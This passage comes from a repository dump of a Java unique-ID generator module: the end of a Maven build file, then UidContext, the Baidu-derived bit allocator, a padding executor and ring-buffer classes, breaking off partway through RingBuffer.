<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-core</artifactId>\n\t\t\t<version>${org.springframework.version}</version>\n\t\t\t<exclusions>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>commons-logging</groupId>\n\t\t\t\t\t<artifactId>commons-logging</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t</exclusions>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-beans</artifactId>\n\t\t\t<version>${org.springframework.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context</artifactId>\n\t\t\t<version>${org.springframework.version}</version>\n\t\t</dependency>\n\n\t\t<!-- slf4j -->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>${slf4j.version}</version>\n\t\t</dependency>\n\t\t<!-- 代码直接调用commons-logging会被桥接到slf4j(spring依赖) -->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>jcl-over-slf4j</artifactId>\n\t\t\t<version>${slf4j.version}</version>\n\t\t</dependency>\n        \n\t\t<dependency>\n\t\t\t<groupId>org.projectlombok</groupId>\n\t\t\t<artifactId>lombok</artifactId>\n\t\t\t<version>${lombok.version}</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n        <!-- DB -->\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-jdbc</artifactId>\n\t\t\t<version>${org.springframework.version}</version>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>${mysql.version}</version>\n            <optional>true</optional>\n        </dependency>\n        \n        <!-- zookeeper -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.zookeeper</groupId>\n\t\t\t<artifactId>zookeeper</artifactId>\n\t\t\t<version>${zookeeper.version}</version>\n            <optional>true</optional>\n\t\t\t<exclusions>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<artifactId>log4j</artifactId>\n\t\t\t\t\t<groupId>log4j</groupId>\n\t\t\t\t</exclusion>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t\t</exclusion>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>io.netty</groupId>\n\t\t\t\t\t<artifactId>netty</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t</exclusions>\n\t\t</dependency>\n\n\t\t<!-- spring-redis -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.data</groupId>\n\t\t\t<artifactId>spring-data-redis</artifactId>\n\t\t\t<version>${org.springframework.data.version}</version>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n        \n        <!-- Test -->\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n\t\t\t<version>${junit.version}</version>\n\t\t\t<scope>test</scope>\n        </dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>fastjson</artifactId>\n\t\t\t<optional>true</optional>\n\t\t\t<version>1.2.58</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<!-- junit 多线程测试 -->\n\t\t<!--<dependency>\n\t\t\t<groupId>net.sourceforge.groboutils</groupId>\n\t\t\t<artifactId>groboutils-core</artifactId>\n\t\t\t<version>5</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency> -->\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-test</artifactId>\n\t\t\t<version>${org.springframework.version}</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n\n\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/UidContext.java",
    "content": "package com.myzmds.ecp.core.uid;\n\nimport com.myzmds.ecp.core.uid.extend.strategy.IUidStrategy;\n\n/**\n * @类名称 UidContext.java\n * @类描述 <pre>Uid策略上下文</pre>\n * @作者 庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年9月7日 上午9:51:21\n * @版本 1.00\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.00 \t庄梦蝶殇 \t2018年9月7日             \n *     ----------------------------------------------\n * </pre>\n */\npublic class UidContext {\n    /**\n     * 空组\n     */\n    private static final String EMPTY_STR = \"\";\n    \n    private IUidStrategy uidStrategy;\n    \n    /**\n     * 除余基数(建议使用固定值)--控制位移\n     */\n    private Integer fixed = 25;\n    \n    /**\n     * 基因因子\n     */\n    public Long factor;\n    \n    public UidContext(IUidStrategy uidStrategy) {\n        this.uidStrategy = uidStrategy;\n    }\n    \n    /**\n     * @方法名称 getUidStr\n     * @功能描述 <pre>获取ID</pre>\n     */\n    public String getUidStr() {\n        return getUidStr(EMPTY_STR);\n    }\n    \n    /**\n     * @方法名称 getUidStr\n     * @功能描述 <pre>获取ID</pre>\n     * @param prefix 前缀(有group作用)\n     */\n    public String getUidStr(String prefix) {\n        return prefix + getUID(prefix);\n    }\n    \n    /**\n     * @方法名称 getUID\n     * @功能描述 <pre>获取ID</pre>\n     */\n    public long getUID() {\n        return getUID(EMPTY_STR);\n    }\n    \n    /**\n     * @方法名称 getUID\n     * @功能描述 <pre>获取ID</pre>\n     * @param group 分组\n     */\n    public long getUID(String group) {\n        return geneId(uidStrategy.getUID(group));\n    }\n    \n    /**\n     * @方法名称 parseUID\n     * @功能描述 <pre>解析ID</pre>\n     * @param uid \n     * @param group 分组\n     * @return 输出json字符串：{\\\"UID\\\":\\\"\\\",\\\"timestamp\\\":\\\"\\\",\\\"workerId\\\":\\\"\\\",\\\"dataCenterId\\\":\\\"\\\",\\\"sequence\\\":\\\"\\\"}\n     */\n    public String parseUID(long uid, String group) {\n        return uidStrategy.parseUID(restoreId(uid), group);\n    }\n    \n    /**\n     * @方法名称 parseUID\n     * @功能描述 <pre>解析ID</pre>\n     * @param uid \n     * @return 输出json字符串：{\\\"UID\\\":\\\"\\\",\\\"timestamp\\\":\\\"\\\",\\\"workerId\\\":\\\"\\\",\\\"dataCenterId\\\":\\\"\\\",\\\"sequence\\\":\\\"\\\"}\n     */\n    public String parseUID(long uid) {\n        return parseUID(uid, EMPTY_STR);\n    }\n    \n    /**\n     * @方法名称 parseUID\n     * @功能描述 <pre>解析ID</pre>\n     * @param uid \n     * @return 输出json字符串：{\\\"UID\\\":\\\"\\\",\\\"timestamp\\\":\\\"\\\",\\\"workerId\\\":\\\"\\\",\\\"dataCenterId\\\":\\\"\\\",\\\"sequence\\\":\\\"\\\"}\n     */\n    public String parseUID(String uid) {\n        return parseUID(uid, EMPTY_STR);\n    }\n    \n    /**\n     * @方法名称 parseUID\n     * @功能描述 <pre>解析ID</pre>\n     * @param uid \n     * @param group 分组\n     * @return 输出json字符串：{\\\"UID\\\":\\\"\\\",\\\"timestamp\\\":\\\"\\\",\\\"workerId\\\":\\\"\\\",\\\"dataCenterId\\\":\\\"\\\",\\\"sequence\\\":\\\"\\\"}\n     */\n    public String parseUID(String uid, String group) {\n        return parseUID(Long.valueOf(uid.replaceFirst(\"[^(0-9)]*\", \"\")), group);\n    }\n    \n    /**\n     * 根据基因因子生成基因id\n     */\n    public Long geneId(Long primitiveId) {\n        if (null == factor) {\n            return primitiveId;\n        }\n        int moveBit = Integer.toBinaryString(fixed).length() - 1;\n        // 加入factor基因\n        return (primitiveId << moveBit) | (factor % fixed);\n    }\n    \n    /**\n     * 还原id\n     */\n    public long restoreId(long uid) {\n        if (null == factor) {\n            return uid;\n        }\n        int leftMoveBit = Integer.toBinaryString(fixed).length() - 1;\n        return uid >>> leftMoveBit;\n    }\n    \n    public IUidStrategy getUidStrategy() {\n        return uidStrategy;\n    }\n    \n    public void setUidStrategy(IUidStrategy uidStrategy) {\n        this.uidStrategy = uidStrategy;\n    }\n    \n    public Integer getFixed() {\n        return fixed;\n    }\n    \n    public void setFixed(Integer fixed) {\n        this.fixed = fixed;\n    }\n    \n    public Long getFactor() {\n        return factor;\n    }\n    \n    public void setFactor(Long factor) {\n        this.factor = factor;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/BitsAllocator.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.baidu;\n\nimport org.springframework.util.Assert;\n\nimport lombok.ToString;\n\n/**\n * Allocate 64 bits for the UID(long)<br>\n * sign (fixed 1bit) -> deltaSecond -> workerId -> sequence(within the same second)\n * \n * @author yutianbao\n */\n@ToString\npublic class BitsAllocator {\n    /**\n     * Total 64 bits\n     */\n    public static final int TOTAL_BITS = 1 << 6;\n\n    /**\n     * Bits for [sign-> second-> workId-> sequence]\n     */\n    private int signBits = 1;\n    private final int timestampBits;\n    private final int workerIdBits;\n    private final int sequenceBits;\n\n    /**\n     * Max value for workId & sequence\n     */\n    private final long maxDeltaSeconds;\n    private final long maxWorkerId;\n    private final long maxSequence;\n\n    /**\n     * Shift for timestamp & workerId\n     */\n    private final int timestampShift;\n    private final int workerIdShift;\n\n    /**\n     * Constructor with timestampBits, workerIdBits, sequenceBits<br>\n     * The highest bit used for sign, so <code>63</code> bits for timestampBits, workerIdBits, sequenceBits\n     */\n    public BitsAllocator(int timestampBits, int workerIdBits, int sequenceBits) {\n        // make sure allocated 64 bits\n        int allocateTotalBits = signBits + timestampBits + workerIdBits + sequenceBits;\n        Assert.isTrue(allocateTotalBits == TOTAL_BITS, \"allocate not enough 64 bits\");\n\n        // initialize bits\n        this.timestampBits = timestampBits;\n        this.workerIdBits = workerIdBits;\n        this.sequenceBits = sequenceBits;\n\n        // initialize max value\n        this.maxDeltaSeconds = ~(-1L << timestampBits);\n        this.maxWorkerId = ~(-1L << workerIdBits);\n        this.maxSequence = ~(-1L << sequenceBits);\n\n        // initialize shift\n        this.timestampShift = workerIdBits + sequenceBits;\n        this.workerIdShift = sequenceBits;\n    }\n\n    /**\n     * Allocate bits for UID according to delta seconds & workerId & sequence<br>\n     * <b>Note that: </b>The highest bit will always be 0 for sign\n     * \n     * @param deltaSeconds\n     * @param workerId\n     * @param sequence\n     * @return\n     */\n    public long allocate(long deltaSeconds, long workerId, long sequence) {\n        return (deltaSeconds << timestampShift) | (workerId << workerIdShift) | sequence;\n    }\n    \n    /**\n     * Getters\n     */\n    public int getSignBits() {\n        return signBits;\n    }\n\n    public int getTimestampBits() {\n        return timestampBits;\n    }\n\n    public int getWorkerIdBits() {\n        return workerIdBits;\n    }\n\n    public int getSequenceBits() {\n        return sequenceBits;\n    }\n\n    public long getMaxDeltaSeconds() {\n        return maxDeltaSeconds;\n    }\n\n    public long getMaxWorkerId() {\n        return maxWorkerId;\n    }\n\n    public long getMaxSequence() {\n        return maxSequence;\n    }\n\n    public int getTimestampShift() {\n        return timestampShift;\n    }\n\n    public int getWorkerIdShift() {\n        return workerIdShift;\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/UidGenerator.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.baidu;\n\nimport com.myzmds.ecp.core.uid.baidu.exception.UidGenerateException;\n\n/**\n * Represents a unique id generator.\n *\n * @author yutianbao\n */\npublic interface UidGenerator {\n\n    /**\n     * Get a unique ID\n     *\n     * @return UID\n     * @throws UidGenerateException\n     */\n    long getUID() throws UidGenerateException;\n\n    /**\n     * Parse the UID into elements which are used to generate the UID. <br>\n     * Such as timestamp & workerId & sequence...\n     *\n     * @param uid\n     * @return Parsed info\n     */\n    String parseUID(long uid);\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/buffer/BufferPaddingExecutor.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.baidu.buffer;\n\nimport java.util.List;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.util.Assert;\n\nimport com.myzmds.ecp.core.uid.baidu.utils.NamingThreadFactory;\nimport com.myzmds.ecp.core.uid.baidu.utils.PaddedAtomicLong;\n\n/**\n * Represents an executor for padding {@link RingBuffer}<br>\n * There are two kinds of executors: one for scheduled padding, the other for padding immediately.\n * \n * @author yutianbao\n */\npublic class BufferPaddingExecutor {\n    private static final Logger LOGGER = LoggerFactory.getLogger(RingBuffer.class);\n\n    /** Constants */\n    private static final String WORKER_NAME = \"RingBuffer-Padding-Worker\";\n    private static final String SCHEDULE_NAME = \"RingBuffer-Padding-Schedule\";\n    /** 5 minutes(分钟)**/\n    private static final long DEFAULT_SCHEDULE_INTERVAL = 5 * 60L; \n    \n    /** Whether buffer padding is running */\n    private final AtomicBoolean running;\n\n    /** We can borrow UIDs from the future, here store the last second we have consumed */\n    private final PaddedAtomicLong lastSecond;\n\n    /** RingBuffer & BufferUidProvider */\n    private final RingBuffer ringBuffer;\n    private final BufferedUidProvider uidProvider;\n\n    /** Padding immediately by the thread pool */\n    private final ExecutorService bufferPadExecutors;\n    /** Padding schedule thread */\n    private final ScheduledExecutorService bufferPadSchedule;\n    \n    /** Schedule interval Unit as seconds */\n    private long scheduleInterval = DEFAULT_SCHEDULE_INTERVAL;\n\n    /**\n     * Constructor with {@link RingBuffer} and {@link BufferedUidProvider}, default use schedule\n     *\n     * @param ringBuffer {@link RingBuffer}\n     * @param uidProvider {@link BufferedUidProvider}\n     */\n    public BufferPaddingExecutor(RingBuffer ringBuffer, BufferedUidProvider uidProvider) {\n        this(ringBuffer, uidProvider, true);\n    }\n\n    /**\n     * Constructor with {@link RingBuffer}, {@link BufferedUidProvider}, and whether use schedule padding\n     *\n     * @param ringBuffer {@link RingBuffer}\n     * @param uidProvider {@link BufferedUidProvider}\n     * @param usingSchedule\n     */\n    public BufferPaddingExecutor(RingBuffer ringBuffer, BufferedUidProvider uidProvider, boolean usingSchedule) {\n        this.running = new AtomicBoolean(false);\n        this.lastSecond = new PaddedAtomicLong(TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis()));\n        this.ringBuffer = ringBuffer;\n        this.uidProvider = uidProvider;\n\n        // initialize thread pool\n        int cores = Runtime.getRuntime().availableProcessors();\n        bufferPadExecutors = new ThreadPoolExecutor(cores * 2, cores * 2, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>(), new NamingThreadFactory(WORKER_NAME));\n\n        // initialize schedule thread\n        if (usingSchedule) {\n            bufferPadSchedule = new ScheduledThreadPoolExecutor(1, new NamingThreadFactory(SCHEDULE_NAME, true));\n        } else {\n            bufferPadSchedule = null;\n        }\n    }\n\n    /**\n     * Start executors such as schedule\n     */\n    public void start() {\n        if (bufferPadSchedule != null) {\n            bufferPadSchedule.scheduleWithFixedDelay(new Runnable() {\n                @Override\n                public void run() {\n                    paddingBuffer();                    \n                }\n            }, scheduleInterval, scheduleInterval, TimeUnit.SECONDS);\n        }\n    }\n\n    /**\n     * Shutdown executors\n     */\n    public void shutdown() {\n        if (!bufferPadExecutors.isShutdown()) {\n            bufferPadExecutors.shutdownNow();\n        }\n\n        if (bufferPadSchedule != null && !bufferPadSchedule.isShutdown()) {\n            bufferPadSchedule.shutdownNow();\n        }\n    }\n\n    /**\n     * Whether is padding\n     *\n     * @return\n     */\n    public boolean isRunning() {\n        return running.get();\n    }\n\n    /**\n     * Padding buffer in the thread pool\n     */\n    public void asyncPadding() {\n        bufferPadExecutors.submit(new Runnable() {\n            @Override\n            public void run() {\n                paddingBuffer();\n            }\n        });\n    }\n\n    /**\n     * Padding buffer fill the slots until to catch the cursor\n     */\n    public void paddingBuffer() {\n        LOGGER.info(\"Ready to padding buffer lastSecond:{}. {}\", lastSecond.get(), ringBuffer);\n\n        // is still running\n        if (!running.compareAndSet(false, true)) {\n            LOGGER.info(\"Padding buffer is still running. {}\", ringBuffer);\n            return;\n        }\n\n        // fill the rest slots until to catch the cursor\n        boolean isFullRingBuffer = false;\n        while (!isFullRingBuffer) {\n            List<Long> uidList = uidProvider.provide(lastSecond.incrementAndGet());\n            for (Long uid : uidList) {\n                isFullRingBuffer = !ringBuffer.put(uid);\n                if (isFullRingBuffer) {\n                    break;\n                }\n            }\n        }\n\n        // not running now\n        running.compareAndSet(true, false);\n        LOGGER.info(\"End to padding buffer lastSecond:{}. {}\", lastSecond.get(), ringBuffer);\n    }\n\n    /**\n     * Setters\n     */\n    public void setScheduleInterval(long scheduleInterval) {\n        Assert.isTrue(scheduleInterval > 0, \"Schedule interval must positive!\");\n        this.scheduleInterval = scheduleInterval;\n    }\n    \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/buffer/BufferedUidProvider.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.baidu.buffer;\n\nimport java.util.List;\n\n/**\n * Buffered UID provider(Lambda supported), which provides UID in the same one second\n * \n * @author yutianbao\n */\npublic interface BufferedUidProvider {\n\n    /**\n     * Provides UID in one second\n     * \n     * @param momentInSecond\n     * @return\n     */\n    List<Long> provide(long momentInSecond);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/buffer/RejectedPutBufferHandler.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.baidu.buffer;\n\n/**\n * If tail catches the cursor it means that the ring buffer is full, any more buffer put request will be rejected.\n * Specify the policy to handle the reject. This is a Lambda supported interface\n * \n * @author yutianbao\n */\npublic interface RejectedPutBufferHandler {\n\n    /**\n     * Reject put buffer request\n     * \n     * @param ringBuffer\n     * @param uid\n     */\n    void rejectPutBuffer(RingBuffer ringBuffer, long uid);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/buffer/RejectedTakeBufferHandler.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.baidu.buffer;\n\n/**\n * If cursor catches the tail it means that the ring buffer is empty, any more buffer take request will be rejected.\n * Specify the policy to handle the reject. This is a Lambda supported interface\n * \n * @author yutianbao\n */\npublic interface RejectedTakeBufferHandler {\n\n    /**\n     * Reject take buffer request\n     * \n     * @param ringBuffer\n     */\n    void rejectTakeBuffer(RingBuffer ringBuffer);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/buffer/RingBuffer.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.baidu.buffer;\n\nimport java.util.concurrent.atomic.AtomicLong;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.util.Assert;\n\nimport com.myzmds.ecp.core.uid.baidu.utils.PaddedAtomicLong;\n\n/**\n * Represents a ring buffer based on array.<br>\n * Using array could improve read element performance due to the CUP cache line. To prevent \n * the side effect of False Sharing, {@link PaddedAtomicLong} is using on 'tail' and 'cursor'<p>\n * \n * A ring buffer is consisted of:\n * <li><b>slots:</b> each element of the array is a slot, which is be set with a UID\n * <li><b>flags:</b> flag array corresponding the same index with the slots, indicates whether can take or put slot\n * <li><b>tail:</b> a sequence of the max slot position to produce \n * <li><b>cursor:</b> a sequence of the min slot position to consume\n * \n * @author yutianbao\n */\npublic class RingBuffer {\n    private static final Logger LOGGER = LoggerFactory.getLogger(RingBuffer.class);\n\n    /** Constants */\n    private static final int START_POINT = -1;\n    private static final long CAN_PUT_FLAG = 0L;\n    private static final long CAN_TAKE_FLAG = 1L;\n    public static final int DEFAULT_PADDING_PERCENT = 50;\n\n    /** The size of RingBuffer's slots, each slot hold a UID */\n    private final int bufferSize;\n    private final long indexMask;\n    private final long[] slots;\n    private final PaddedAtomicLong[] flags;\n\n    /** Tail: last position sequence to produce */\n    private final AtomicLong tail = new PaddedAtomicLong(START_POINT);\n\n    /** Cursor: current position sequence to consume */\n    private final AtomicLong cursor = new PaddedAtomicLong(START_POINT);\n\n    /** Threshold for trigger padding buffer*/\n    private final int paddingThreshold; \n    \n    /** Reject put/take buffer handle policy */\n    private RejectedPutBufferHandler rejectedPutHandler = new RejectedPutBufferHandler() {\n        @Override\n        public void rejectPutBuffer(RingBuffer ringBuffer, long uid) {\n            discardPutBuffer(ringBuffer, uid);\n        }\n    };\n    \n    private RejectedTakeBufferHandler rejectedTakeHandler = new RejectedTakeBufferHandler() {\n        @Override\n        public void rejectTakeBuffer(RingBuffer ringBuffer) {\n            exceptionRejectedTakeBuffer(ringBuffer);\n        }\n    }; \n    \n    /** Executor of padding buffer */\n    private BufferPaddingExecutor bufferPaddingExecutor;\n\n    /**\n     * Constructor with buffer size, paddingFactor default as {@value #DEFAULT_PADDING_PERCENT}\n     * \n     * @param bufferSize must be positive & a power of 2\n     */\n    public RingBuffer(int bufferSize) {\n        this(bufferSize, DEFAULT_PADDING_PERCENT);\n    }\n    \n    /**\n     * Constructor with buffer size & padding factor\n     * \n     * @param bufferSize must be positive & a power of 2\n     * @param paddingFactor percent in (0 - 100). When the count of rest available UIDs reach the threshold, it will trigger padding buffer<br>\n     *        Sample: paddingFactor=20, bufferSize=1000 -> threshold=1000 * 20 /100,  \n     *        padding buffer will be triggered when tail-cursor<threshold\n     */\n    public RingBuffer(int bufferSize, int paddingFactor) {\n        // check buffer size is positive & a power of 2; padding factor in (0, 100)\n        Assert.isTrue(bufferSize > 0L, \"RingBuffer size must be positive\");\n        Assert.isTrue(Integer.bitCount(bufferSize) == 1, \"RingBuffer size must be a power of 2\");\n        Assert.isTrue(paddingFactor > 0 && paddingFactor < 100, \"RingBuffer size must be positive\");\n\n        this.bufferSize = bufferSize;\n        this.indexMask = bufferSize - 1;\n        this.slots = new long[bufferSize];\n        this.flags = initFlags(bufferSize);\n        \n        this.paddingThreshold = bufferSize * paddingFactor / 100;\n    }\n\n    /**\n     * Put an UID in the ring & tail moved<br>\n     * We use 'synchronized' to guarantee the UID fill in slot & publish new tail sequence as atomic operations<br>\n     * \n     * <b>Note that: </b> It is recommended to put UID in a serialize way, cause we once batch generate a series UIDs and put\n     * the one by one into the buffer, so it is unnecessary put in multi-threads\n     *\n     * @param uid\n     * @return false means that the buffer is full, apply {@link RejectedPutBufferHandler}\n     */\n    public synchronized boolean put(long uid) {\n        long currentTail = tail.get();\n        long currentCursor = cursor.get();\n\n        // tail catches the cursor, means that you can't put any cause of RingBuffer is full\n        long distance = currentTail - (currentCursor == START_POINT ? 0 : currentCursor);\n        if (distance == bufferSize - 1) {\n            rejectedPutHandler.rejectPutBuffer(this, uid);\n            return false;\n        }\n\n        // 1. pre-check whether the flag is CAN_PUT_FLAG\n        int nextTailIndex = calSlotIndex(currentTail + 1);\n        if (flags[nextTailIndex].get() != CAN_PUT_FLAG) {\n            rejectedPutHandler.rejectPutBuffer(this, uid);\n            return false;\n        }\n\n        // 2. put UID in the next slot\n        // 3. update next slot' flag to CAN_TAKE_FLAG\n        // 4. publish tail with sequence increase by one\n        slots[nextTailIndex] = uid;\n        flags[nextTailIndex].set(CAN_TAKE_FLAG);\n        tail.incrementAndGet();\n\n        // The atomicity of operations above, guarantees by 'synchronized'. In another word,\n        // the take operation can't consume the UID we just put, until the tail is published(tail.incrementAndGet())\n        return true;\n    }\n    \n    /**\n     * cursor.updateAndGet(old -> old == tail.get() ? old : old + 1)\n     */\n    public final long updateAndGet() {\n        long prev, next;\n        do {\n            prev = cursor.get();\n            next = prev == tail.get() ? prev : prev + 1;\n        } while (!cursor.compareAndSet(prev, next));\n        return next;\n    }\n    \n    /**\n     * Take an UID of the ring at the next cursor, this is a lock free operation by using atomic cursor<p>\n     * \n     * Before getting the UID, we also check whether reach the padding threshold, \n     * the padding buffer operation will be triggered in another thread<br>\n     * If there is no more available UID to be taken, the specified {@link RejectedTakeBufferHandler} will be applied<br>\n     * \n     * @return UID\n     * @throws IllegalStateException if the cursor moved back\n     */\n    public long take() {\n        // spin get next available cursor\n        long currentCursor = cursor.get();\n        long nextCursor = updateAndGet();\n\n        // check for safety consideration, it never occurs\n        Assert.isTrue(nextCursor >= currentCursor, \"Curosr can't move back\");\n\n        // trigger padding in an async-mode if reach the threshold\n        long currentTail = tail.get();\n        if (currentTail - nextCursor < paddingThreshold) {\n            LOGGER.info(\"Reach the padding threshold:{}. tail:{}, cursor:{}, rest:{}\", paddingThreshold, currentTail,\n                    nextCursor, currentTail - nextCursor);\n            bufferPaddingExecutor.asyncPadding();\n        }\n\n        // cursor catch the tail, means that there is no more available UID to take\n        if (nextCursor == currentCursor) {\n            rejectedTakeHandler.rejectTakeBuffer(this);\n        }\n\n        // 1. check next slot flag is CAN_TAKE_FLAG\n        int nextCursorIndex = calSlotIndex(nextCursor);\n        Assert.isTrue(flags[nextCursorIndex].get() == CAN_TAKE_FLAG, \"Curosr not in can take status\");\n\n        // 2. get UID from next slot\n        // 3. set next slot flag as CAN_PUT_FLAG.\n        long uid = slots[nextCursorIndex];\n        flags[nextCursorIndex].set(CAN_PUT_FLAG);\n\n        // Note that: Step 2,3 can not swap. If we set flag before get value of slot, the producer may overwrite the\n        // slot with a new UID, and this may cause the consumer take the UID twice after walk a round the ring\n        return uid;\n    }\n\n    /**\n     * Calculate slot index with the slot sequence (sequence % bufferSize) \n     */\n    protected int calSlotIndex(long sequence) {\n        return (int) (sequence & indexMask);\n    }\n\n    /**\n     * Discard policy for {@link RejectedPutBufferHandler}, we just do logging\n     */\n    protected void discardPutBuffer(RingBuffer ringBuffer, long uid) {\n        LOGGER.warn(\"Rejected putting buffer for uid:{}. {}\", uid, ringBuffer);\n    }\n    \n    /**\n     * Policy for {@link RejectedTakeBufferHandler}, throws {@link RuntimeException} after logging \n     */\n    protected void exceptionRejectedTakeBuffer(RingBuffer ringBuffer) {\n        LOGGER.warn(\"Rejected take buffer. {}\", ringBuffer);\n        throw new 